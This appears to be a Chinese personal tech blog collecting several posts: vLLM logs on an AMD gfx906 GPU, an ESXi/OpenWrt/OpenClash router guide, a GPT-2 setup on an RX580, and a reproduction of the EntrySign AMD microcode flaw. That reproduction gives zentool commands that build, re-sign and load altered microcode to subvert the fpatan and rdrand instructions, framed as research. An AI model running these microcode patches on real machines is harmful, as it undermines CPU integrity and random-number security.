[PASS] Tensor Creation & Memory Transfer (Host <-> Device)
[PASS] Matrix Multiplication (rocBLAS) - 2048x2048 @ 0.06 TFLOPS
[PASS] CNN Primitives (MIOpen Forward & Backward)
[PASS] Half Precision (FP16) Compute
[PASS] Distributed Library (RCCL) is linked
[INFO] Attempting to allocate 4GB VRAM...
[PASS] Large VRAM Allocation (4GB)

=== TEST COMPLETE ===

Base script for dockerfile

1
sudo docker run -it --rm --shm-size=2g --device=/dev/kfd --device=/dev/dri     --group-add video -p 8000:8000 -v ~/Qwen3-0.6B:/model     nalanzeyu/vllm-gfx906 vllm serve /model

VLLM startup log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
INFO 12-31 08:00:32 [__init__.py:239] Automatically detected platform rocm.
INFO 12-31 08:00:46 [api_server.py:1043] vLLM API server version 0.8.5
INFO 12-31 08:00:46 [api_server.py:1044] args: Namespace(subparser='serve', model_tag='/model', config='', host=None, port=8000, uvicorn_log_level='info', disable_uvicorn_access_log=False, allow_credentials=False, allowed_origins=['*'], allowed_methods=['*'], allowed_headers=['*'], api_key=None, lora_modules=None, prompt_adapters=None, chat_template=None, chat_template_content_format='auto', response_role='assistant', ssl_keyfile=None, ssl_certfile=None, ssl_ca_certs=None, enable_ssl_refresh=False, ssl_cert_reqs=0, root_path=None, middleware=[], return_tokens_as_token_ids=False, disable_frontend_multiprocessing=False, enable_request_id_headers=False, enable_auto_tool_choice=False, tool_call_parser=None, tool_parser_plugin='', model='/model', task='auto', tokenizer=None, hf_config_path=None, skip_tokenizer_init=False, revision=None, code_revision=None, tokenizer_revision=None, tokenizer_mode='auto', trust_remote_code=False, allowed_local_media_path=None, load_format='auto', download_dir=None, model_loader_extra_config={}, use_tqdm_on_load=True, config_format=<ConfigFormat.AUTO: 'auto'>, dtype='auto', max_model_len=None, guided_decoding_backend='auto', reasoning_parser=None, logits_processor_pattern=None, model_impl='auto', distributed_executor_backend=None, pipeline_parallel_size=1, tensor_parallel_size=1, data_parallel_size=1, enable_expert_parallel=False, max_parallel_loading_workers=None, ray_workers_use_nsight=False, disable_custom_all_reduce=False, block_size=None, gpu_memory_utilization=0.9, swap_space=4, kv_cache_dtype='auto', num_gpu_blocks_override=None, enable_prefix_caching=None, prefix_caching_hash_algo='builtin', cpu_offload_gb=0, calculate_kv_scales=False, disable_sliding_window=False, use_v2_block_manager=True, seed=None, max_logprobs=20, disable_log_stats=False, quantization=None, rope_scaling=None, rope_theta=None, hf_token=None, hf_overrides=None, enforce_eager=False, max_seq_len_to_capture=8192, tokenizer_pool_size=0, tokenizer_pool_type='ray', tokenizer_pool_extra_config={}, limit_mm_per_prompt={}, mm_processor_kwargs=None, disable_mm_preprocessor_cache=False, enable_lora=None, enable_lora_bias=False, max_loras=1, max_lora_rank=16, lora_extra_vocab_size=256, lora_dtype='auto', long_lora_scaling_factors=None, max_cpu_loras=None, fully_sharded_loras=False, enable_prompt_adapter=None, max_prompt_adapters=1, max_prompt_adapter_token=0, device='auto', speculative_config=None, ignore_patterns=[], served_model_name=None, qlora_adapter_name_or_path=None, show_hidden_metrics_for_version=None, otlp_traces_endpoint=None, collect_detailed_traces=None, disable_async_output_proc=False, max_num_batched_tokens=None, max_num_seqs=None, max_num_partial_prefills=1, max_long_partial_prefills=1, long_prefill_token_threshold=0, num_lookahead_slots=0, scheduler_delay_factor=0.0, preemption_mode=None, num_scheduler_steps=1, multi_step_stream_outputs=True, scheduling_policy='fcfs', enable_chunked_prefill=None, disable_chunked_mm_input=False, scheduler_cls='vllm.core.scheduler.Scheduler', override_neuron_config=None, override_pooler_config=None, compilation_config=None, kv_transfer_config=None, worker_cls='auto', worker_extension_cls='', generation_config='auto', override_generation_config=None, enable_sleep_mode=False, additional_config=None, enable_reasoning=False, disable_cascade_attn=False, disable_log_requests=False, max_log_len=None, disable_fastapi_docs=False, enable_prompt_tokens_details=False, enable_server_load_tracking=False, dispatch_function=<function ServeSubcommand.cmd at 0x705f0bf82d40>)
INFO 12-31 08:01:08 [config.py:717] This model supports multiple tasks: {'generate', 'reward', 'classify', 'score', 'embed'}. Defaulting to 'generate'.
INFO 12-31 08:01:08 [arg_utils.py:1669] rocm is experimental on VLLM_USE_V1=1. Falling back to V0 Engine.
WARNING 12-31 08:01:08 [arg_utils.py:1536] The model has a long context length (40960). This may causeOOM during the initial memory profiling phase, or result in low performance due to small KV cache size. Consider setting --max-model-len to a smaller value.
INFO 12-31 08:01:08 [config.py:1804] Disabled the custom all-reduce kernel because it is not supported on current platform.
INFO 12-31 08:01:08 [api_server.py:246] Started engine process with PID 47
INFO 12-31 08:01:12 [__init__.py:239] Automatically detected platform rocm.
INFO 12-31 08:01:24 [llm_engine.py:240] Initializing a V0 LLM engine (v0.8.5) with config: model='/model', speculative_config=None, tokenizer='/model', skip_tokenizer_init=False, tokenizer_mode=auto, revision=None, override_neuron_config=None, tokenizer_revision=None, trust_remote_code=False, dtype=torch.bfloat16, max_seq_len=40960, download_dir=None, load_format=LoadFormat.AUTO, tensor_parallel_size=1, pipeline_parallel_size=1, disable_custom_all_reduce=True, quantization=None, enforce_eager=False, kv_cache_dtype=auto,  device_config=cuda, decoding_config=DecodingConfig(guided_decoding_backend='auto', reasoning_backend=None), observability_config=ObservabilityConfig(show_hidden_metrics=False, otlp_traces_endpoint=None, collect_model_forward_time=False, collect_model_execute_time=False), seed=None, served_model_name=/model, num_scheduler_steps=1, multi_step_stream_outputs=True, enable_prefix_caching=None, chunked_prefill_enabled=False, use_async_output_proc=True, disable_mm_preprocessor_cache=False, mm_processor_kwargs=None, pooler_config=None, compilation_config={"splitting_ops":[],"compile_sizes":[],"cudagraph_capture_sizes":[256,248,240,232,224,216,208,200,192,184,176,168,160,152,144,136,128,120,112,104,96,88,80,72,64,56,48,40,32,24,16,8,4,2,1],"max_capture_size":256}, use_cached_outputs=True, 
INFO 12-31 08:01:25 [rocm.py:183] None is not supported in AMD GPUs.
INFO 12-31 08:01:25 [rocm.py:184] Using ROCmFlashAttention backend.
INFO 12-31 08:01:25 [parallel_state.py:1004] rank 0 in world size 1 is assigned as DP rank 0, PP rank 0, TP rank 0
INFO 12-31 08:01:25 [model_runner.py:1108] Starting to load model /model...
Loading safetensors checkpoint shards:   0% Completed | 0/1 [00:00<?, ?it/s]
Loading safetensors checkpoint shards: 100% Completed | 1/1 [00:00<00:00,  1.11it/s]
Loading safetensors checkpoint shards: 100% Completed | 1/1 [00:00<00:00,  1.11it/s]

INFO 12-31 08:01:27 [loader.py:458] Loading weights took 1.03 seconds
INFO 12-31 08:01:27 [model_runner.py:1140] Model loading took 1.3379 GiB and 1.568738 seconds
INFO 12-31 08:01:48 [worker.py:287] Memory profiling takes 20.58 seconds
INFO 12-31 08:01:48 [worker.py:287] the current vLLM instance can use total_gpu_memory (15.98GiB) x gpu_memory_utilization (0.90) = 14.39GiB
INFO 12-31 08:01:48 [worker.py:287] model weights take 1.34GiB; non_torch_memory takes 0.46GiB; PyTorch activation peak memory takes 1.49GiB; the rest of the memory reserved for KV Cache is 11.10GiB.
INFO 12-31 08:01:48 [executor_base.py:112] # rocm blocks: 6495, # CPU blocks: 2340
INFO 12-31 08:01:48 [executor_base.py:117] Maximum concurrency for 40960 tokens per request: 2.54x
INFO 12-31 08:01:54 [model_runner.py:1450] Capturing cudagraphs for decoding. This may lead to unexpected consequences if the model is not static. To run the model in eager mode, set 'enforce_eager=True' or use '--enforce-eager' in the CLI. If out-of-memory error occurs during cudagraph capture, consider decreasing `gpu_memory_utilization` or switching to eager mode. You can also reduce the `max_num_seqs` as needed to decrease memory usage.
Capturing CUDA graph shapes: 100%|████████████████████████████████████████████████████████████████████████████████████████| 35/35 [00:19<00:00,  1.78it/s]INFO 12-31 08:02:14 [model_runner.py:1592] Graph capturing finished in 20 secs, took 0.08 GiB
INFO 12-31 08:02:14 [llm_engine.py:437] init engine (profile, create kv cache, warmup model) took 46.92 seconds
WARNING 12-31 08:02:14 [config.py:1239] Default sampling parameters have been overridden by the model's Hugging Face generation config recommended from the model creator. If this is not intended, please relaunch vLLM instance with `--generation-config vllm`.
INFO 12-31 08:02:14 [serving_chat.py:118] Using default chat sampling params from model: {'temperature': 0.6, 'top_k': 20, 'top_p': 0.95}
INFO 12-31 08:02:14 [serving_completion.py:61] Using default completion sampling params from model: {'temperature': 0.6, 'top_k': 20, 'top_p': 0.95}
INFO 12-31 08:02:14 [api_server.py:1090] Starting vLLM API server on http://0.0.0.0:8000
INFO 12-31 08:02:14 [launcher.py:28] Available routes are:
INFO 12-31 08:02:14 [launcher.py:36] Route: /openapi.json, Methods: HEAD, GET
INFO 12-31 08:02:14 [launcher.py:36] Route: /docs, Methods: HEAD, GET
INFO 12-31 08:02:14 [launcher.py:36] Route: /docs/oauth2-redirect, Methods: HEAD, GET
INFO 12-31 08:02:14 [launcher.py:36] Route: /redoc, Methods: HEAD, GET
INFO 12-31 08:02:14 [launcher.py:36] Route: /health, Methods: GET
INFO 12-31 08:02:14 [launcher.py:36] Route: /load, Methods: GET
INFO 12-31 08:02:14 [launcher.py:36] Route: /ping, Methods: POST, GET
INFO 12-31 08:02:14 [launcher.py:36] Route: /tokenize, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /detokenize, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /v1/models, Methods: GET
INFO 12-31 08:02:14 [launcher.py:36] Route: /version, Methods: GET
INFO 12-31 08:02:14 [launcher.py:36] Route: /v1/chat/completions, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /v1/completions, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /v1/embeddings, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /pooling, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /score, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /v1/score, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /v1/audio/transcriptions, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /rerank, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /v1/rerank, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /v2/rerank, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /invocations, Methods: POST
INFO 12-31 08:02:14 [launcher.py:36] Route: /metrics, Methods: GET
INFO:     Started server process [1]
INFO:     Waiting for application startup.
INFO:     Application startup complete.

VLLM Result

1
INFO 12-31 08:30:11 [metrics.py:486] Avg prompt throughput: 0.0 tokens/s, Avg generation throughput: 13.0 tokens/s, Running: 1 reqs, Swapped: 0 reqs, Pending: 0 reqs, GPU KV cache usage: 10.5%, CPU KV cache usage: 0.0%.
运维

ESXi 8.0 All-in-One 避坑实录：从 128G 单盘安装到 OpenWrt 直通配置

最近入手了一台小主机，安装两块X340T2万兆网卡，计划用一块 128G 的固态硬盘搭建 ESXi 8.0 U2 并运行 OpenWrt 作为主路由。虽然硬件配置简单，但 ESXi 8.0 的默认分区策略和直通配置还是有不少坑。本文记录了从安装到网卡直通、以及 OpenClash 配置的全过程。

1. ESXi 8.0 U2 安装与空间拯救

ESXi 8.0 引入了新的分区机制，默认会预留约 128G 的 OSData 分区。对于只有 128G 硬盘的设备来说，这意味着安装完系统后将没有任何空间创建 Datastore（存储） 来存放虚拟机。

准备工作

关键步骤：修改分区大小

  1. 插入 U 盘启动，在出现 ESXi 倒计时加载画面（黑底白字）时，立刻按下 Shift + O。

  2. 在命令行末尾输入空格，追加以下参数：

    1
    systemMediaSize=min

    注意：min 模式会将系统占用限制在 33GB 左右，从而为虚拟机留出约 90GB 的可用空间。如果不加此参数，128G 硬盘将无法创建存储。

  3. 按回车继续安装，后续按照提示设置 Root 密码并完成安装。

2. ESXi 初始化配置

BIOS 设置

进入主板 BIOS，确保开启以下虚拟化选项，否则无法通过硬件直通：

  • VT-x / VT-d (Intel) 或 SVM / IOMMU (AMD)
  • SR-IOV (如果有)

ESXi 后台配置

  1. 激活与存储：登录 Web 后台，输入许可证，并确认 datastore1 是否已自动创建（约 80-90GB）。
  2. 开启直通 (Passthrough)：
    • 进入 管理 -> 硬件 -> PCI 设备。
    • 找到用于 WAN 口的物理网卡，点击 切换直通。
    • 避坑指南：千万不要直通管理网口（连接电脑的那个口），否则后台会失联。

疑难杂症：直通报错修复

如果切换直通时报错 Cannot configure PCI-Passthrough on incapable device（常见于消费级网卡或多功能设备），需 SSH 登录 ESXi 修改配置文件：

1
2
3
4
5
6
7
8
vi /etc/vmware/passthru.map
````

在文件末尾根据你的设备 ID（在 PCI 设备列表中查看 Vendor ID 和 Device ID）添加白名单，例如：

```text
# <标记>  <Vendor ID>  <Device ID>  <重置方法>  <默认操作>
d3d0     8086         15b8         d3d0        default

保存后重启 ESXi 即可生效。

3. OpenWrt 虚拟机安装

镜像转换

  1. 下载 OpenWrt 固件（推荐 ext4 格式）。
  2. 下载 StarWind V2V Converter。
  3. 将 .img.gz 解压后的 .img 文件转换为 ESXi 专用的 .vmdk 文件。

虚拟机创建

  1. 创建虚拟机：客户机操作系统选择 Linux -> 其他 Linux (64位)。
  2. 删除默认硬盘：删除自带的硬盘，重新添加“现有硬盘”，上传转换好的 .vmdk 文件。
  3. 调整容量：
    • 在 ESXi 中将硬盘大小修改为 1GB（或其他你想要的大小）。
    • 为了让 OpenWrt 识别到扩容的空间，需要挂载一个 GParted ISO 镜像引导启动，在图形化界面中将分区拉大（Resize），应用更改后关机。
  4. 硬件直通挂载：
    • 内存预留（必须）：在 编辑设置 -> 内存 中，勾选 “预留所有客户机内存”。否则直通设备会导致开机失败。
    • 添加 PCI 设备：选择之前直通好的物理网卡。

4. OpenWrt 网络配置

https://kvcb.me/2019/04/04/OpenWrt/ ; https://github.com/wangyu-/tinyfecVPN/wiki/%E7%94%A8openwrt%E8%B7%AF%E7%94%B1%E5%99%A8%E6%90%AD%E5%BB%BA%E9%80%8F%E6%98%8E%E4%BB%A3%E7%90%86%EF%BC%8C%E5%8A%A0%E9%80%9F%E5%B1%80%E5%9F%9F%E7%BD%91%E5%86%85%E6%89%80%E6%9C%89%E8%AE%BE%E5%A4%87 ;
https://flandre-scarlet.moe/blog/2016/

此时 OpenWrt 拥有两个网口：

  • eth0 (虚拟口)：连接 ESXi 的 vSwitch，作为 LAN 口管理。
  • eth1 (直通口)：直接连接物理网线，作为 WAN 口拨号。

修改 IP 地址

通过 ESXi 的控制台（VNC）进入 OpenWrt 命令行：

1
vi /etc/config/network

配置 LAN 口（根据自家局域网规划）：

1
2
3
4
5
6
7
config interface 'lan'
        option device 'eth0'
        option proto 'static'
        option ipaddr '192.168.0.138'    # 设置为你的管理IP
        option netmask '255.255.255.0'
        option gateway '192.168.0.1'     # 上级网关（如果是旁路模式）
        list dns '223.5.5.5'             # 保证能解析域名下载插件

重启网络服务：

1
service network restart

绑定 WAN 口

登录 OpenWrt Web 后台：

  1. 进入 网络 -> 接口 -> WAN。
  2. 在 物理设置 中选择直通的 eth1 接口。
  3. 协议选择 PPPoE（拨号）或 DHCP（光猫路由模式）。

5. 配置 OpenClash

网络通畅后，安装 OpenClash 实现网络分流。

  1. 依赖安装：先更新软件包列表（如果使用的是非全功能版固件）。
    1
    2
    opkg update
    opkg install libcap-bin ruby-yaml
  2. 上传插件：通过 SFTP 将 OpenClash 的 .ipk 包上传至 /tmp 目录并安装：
    1
    opkg install /tmp/luci-app-openclash*.ipk
  3. 内核下载：
    • 进入 OpenClash 插件设置，由于网络环境可能无法直接下载内核，建议手动下载 Dev 和 Tun 内核，上传至 /etc/openclash/core/ 目录并赋予执行权限 chmod +x。
  4. 订阅配置：导入订阅链接，开启 Fake-IP 模式以获得最佳性能。

总结

通过 systemMediaSize=min 参数，我们成功在 128G 硬盘上“抠”出了足够的空间；通过修改 passthru.map 和内存预留，解决了网卡直通的各种疑难杂症。这套方案非常适合利用闲置小主机搭建高性能的家庭网络中心。

AMD

在AMD R5-3600 (Matisse)上复现EntrySign记录

前言

感谢这个report: https://bughunters.google.com/blog/5424842357473280/zen-and-the-art-of-microcode-hacking ，感谢这个lecture https://www.youtube.com/watch?v=sUFDKTaCQEk ，本PPT也上传到了 google drive

对应zentool的链接 https://github.com/google/security-research/tree/master/pocs/cpus/entrysign/zentool ，
对应ucode包的链接 https://github.com/platomav/CPUMicrocodes/blob/0be0bd7b6a3ec1f1b59562729f1ce14b9569b697/AMD/cpu00870F10_ver08701034_2024-02-23_52FB44A3.bin

碎碎念

  1. 在升级的时候一开始是021版本，然后手贱，没改034的包直接刷进去了，微码就变成034了… 后面发现>034的051能做
  2. ZENTOOL_XXTEA_KEY那个key是真的文档里的那个key

附录

Code of create template

1
2
3
4
5
cd ~/Code/CS253/EntrySign/security-research-zentool/pocs/cpus/entrysign/zentool
ZENTOOL_XXTEA_KEY=0x2b7e151628aed2a6abf7158809cf4f3c  make template.bin 
./zentool edit --hdr-revlow 0x8701051 template.bin
./zentool resign template.bin

Code of attack on fpatan

1
2
3
./zentool -o fpatan.bin edit --match 0=@fpatan --seq 0=7 --insn q0i0="add rax, rax, 0x1337" template.bin
./zentool resign fpatan.bin
sudo ./zentool load --cpu=2 fpatan.bin

fpatan攻击结果

Code of attack on rdrand

1
2
3
./zentool -o rdrand.bin edit --match 0=@rdrand --seq 0=0x100002 --insn q0i0="mov.qs rax,rax,4" template.bin
./zentool resign fpatan.bin
sudo ./zentool/zentool load --cpu=4 ./zentool/rdrand.bin ;sudo rdmsr -a 0x8b ; taskset -c 4 ./rdrand_test

rdrand攻击结果

AMD

在AMD RX580(gfx803)上借助旧版ROCm运行GPT-2模型

Thanks: https://github.com/nikos230/Run-Pytorch-with-AMD-Radeon-GPU

实施图片

碎碎念

跟着教程里的脚步走，要注意先把原来所有的hip和rocm软件全部卸载

注意这个实验解除了以后要手动去掉/etc/environment的相关配置

text
1
2
sudo echo ROC_ENABLE_PRE_VEGA=1 >> /etc/environment
sudo echo HSA_OVERRIDE_GFX_VERSION=8.0.3 >> /etc/environment

装完以后ubuntu桌面挂了…修了半天没修好不管了。

可以装个amdgpu_top https://github.com/Umio-Yasuno/amdgpu_top 用来好好看负载占用，比较神奇的是588也能用

用来inference的code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import torch
from transformers import AutoTokenizer, AutoModelForCausalLM

# --- 1. 设置模型和设备 ---
# 这里我们选择经典的、无需登录的 gpt2-medium 模型
# 第一次运行时会自动下载（约1.5GB）
model_name = "gpt2-large"

# 检查是否有可用的 GPU (NVIDIA)，否则使用 CPU
device = "cuda" if torch.cuda.is_available() else "cpu"
print(f"正在使用设备: {device}")

# --- 2. 加载 Tokenizer 和模型 ---
print("正在加载 Tokenizer...")
tokenizer = AutoTokenizer.from_pretrained(model_name)

# GPT-2 模型没有官方的 pad_token，但为了避免警告，我们可以将其设置为 eos_token
tokenizer.pad_token = tokenizer.eos_token

print("正在加载模型...")
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    device_map="auto" # 自动将模型加载到硬件上
)
# 注意：GPT-2 这种老模型通常不需要设置 torch_dtype

# --- 3. 准备输入 ---
# GPT-2 是一个续写模型，主要用英文训练，所以我们给一个英文的开头
prompt_text = "Shanghai is one of the most populous cities in the world, located in China. It is famous for"

# 直接将文本编码成 PyTorch 张量 (tensor)
inputs = tokenizer(prompt_text, return_tensors="pt").to(device)


# --- 4. 生成回答 ---
print("正在生成回答...")
# 使用 model.generate() 方法进行推理
# max_length 控制生成的总文本长度（包括你的输入）
outputs = model.generate(
    **inputs,
    max_length=100,  # 生成的总长度
    num_return_sequences=1,
    pad_token_id=tokenizer.eos_token_id # 设置 pad_token_id 来避免警告
)

# --- 5. 解码并输出结果 ---
# 将模型输出的数字 ID 解码成人类可读的文本
result_text = tokenizer.decode(outputs[0], skip_special_tokens=True)

print("\n--- 模型生成结果 ---")
print(result_text)

可能需要的pip list

text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
absl-py==2.1.0
accelerate==1.10.1
addict==2.4.0
aiofiles==23.1.0
ajsonrpc==1.2.0
ament-cmake-test==1.3.11
ament-index-python==1.4.0
ament-package==0.14.0
anyio==3.6.2
asttokens==2.4.1
attrs==23.2.0
autopep8==2.0.1
black==24.3.0
blinker==1.7.0
bottle==0.12.25
cachetools==5.3.3
certifi==2025.10.5
charset-normalizer==3.4.3
click==8.1.3
comm==0.2.2
ConfigArgParse==1.7
coolgpus==0.23
cycler==0.12.1
dash==2.16.1
dash-core-components==2.0.0
dash-html-components==2.0.0
dash-table==5.0.0
descartes==1.1.0
easydict==1.13
exceptiongroup==1.2.0
executing==2.0.1
fastjsonschema==2.19.1
filelock==3.20.0
fire==0.6.0
Flask==3.0.2
fonttools==4.60.1
fsspec==2025.9.0
grpcio==1.62.1
h11==0.14.0
hf-xet==1.1.10
huggingface-hub==0.35.3
idna==3.11
imageio==2.34.0
importlib_metadata==7.0.2
ipython==8.22.2
ipywidgets==8.1.2
itsdangerous==2.1.2
jedi==0.19.1
Jinja2==3.1.6
joblib==1.3.2
jsonschema==4.21.1
jsonschema-specifications==2023.12.1
jupyter_core==5.7.2
jupyterlab_widgets==3.0.10
kiwisolver==1.4.9
lazy_loader==0.3
llvmlite==0.42.0
lyft-dataset-sdk==0.0.8
markdown-it-py==3.0.0
MarkupSafe==2.1.5
marshmallow==3.19.0
matplotlib==3.5.3
matplotlib-inline==0.1.6
mdurl==0.1.2
mmdet3d==1.4.0
mmengine==0.10.3
mpmath==1.3.0
mypy-extensions==1.0.0
nbformat==5.10.3
nest-asyncio==1.6.0
networkx==3.4.2
numba==0.59.1
numpy==1.26.4
nuscenes-devkit==1.1.11
nvidia-cublas-cu11==11.10.3.66
nvidia-cuda-nvrtc-cu11==11.7.99
nvidia-cuda-runtime-cu11==11.7.99
nvidia-cudnn-cu11==8.5.0.96
open3d==0.18.0
opencv-python==4.9.0.80
packaging==25.0
pandas==2.2.1
parso==0.8.3
pathspec==0.12.1
pillow==10.2.0
platformdirs==4.2.0
platformio==6.1.7
plotly==5.20.0
pluggy==1.5.0
plyfile==1.0.3
prompt-toolkit==3.0.43
protobuf==4.25.3
psutil==7.1.0
pure-eval==0.2.2
pycocotools==2.0.7
pycodestyle==2.10.0
pyelftools==0.29
Pygments==2.17.2
pyparsing==3.2.5
pypcd==0.1.1
pyquaternion==0.9.9
pyserial==3.5
pytest==8.0.0
pytest-cover==3.0.0
pytest-html==4.1.1
pytest-metadata==3.1.1
python-dateutil==2.9.0.post0
python-lzf==0.2.4
pytz==2025.2
PyYAML==6.0.3
pyzmq==26.0.3
rcutils==5.1.6
referencing==0.34.0
regex==2025.9.18
requests==2.32.5
retrying==1.3.4
rich==13.7.1
rosidl-adapter==3.1.6
rosidl-cli==3.1.6
rpds-py==0.18.0
safetensors==0.6.2
scikit-image==0.22.0
scikit-learn==1.4.1.post1
scipy==1.15.3
seaborn==0.13.2
semantic-version==2.10.0
Shapely==1.8.5.post1
six==1.17.0
sniffio==1.3.0
stack-data==0.6.3
starlette==0.26.1
sympy==1.14.0
tabulate==0.9.0
tenacity==8.2.3
tensorboard==2.16.2
tensorboard-data-server==0.7.2
tensorboardX==2.6.2.2
termcolor==2.4.0
threadpoolctl==3.3.0
tifffile==2024.2.12
tokenizers==0.15.2
tomli==2.0.1
torch @ file:///home/youyoulyz/rocm/torch-2.1.1-cp310-cp310-linux_x86_64.whl#sha256=5a14a80cdc6608f33fd9d8d413be5400c1aec5eb82870770fd830863b6c92fe5
torchaudio==0.13.1
torchvision==0.14.1
tqdm==4.66.2
traitlets==5.14.2
transformers==4.36.2
trimesh==4.2.0
typing_extensions==4.5.0
tzdata==2024.1
urllib3==2.5.0
uvicorn==0.22.0
wcwidth==0.2.13
websockets==12.0
Werkzeug==3.0.1
widgetsnbextension==4.0.10
wsproto==1.2.0
yapf==0.40.2
zmq==0.0.0

idea

也许可以给MI50/100 5700XT重新编译一版torch？感觉应该只是改环境变量的问题。

接下来会试试MI50/5700XT/6800XT这些老卡的推理支持

总结

纯toy，因为transformer的版本到4.36.2，https://pypi.org/project/transformers/4.36.2/ 没有新模型可以用，chat的最高就是llama-2，缺乏实用性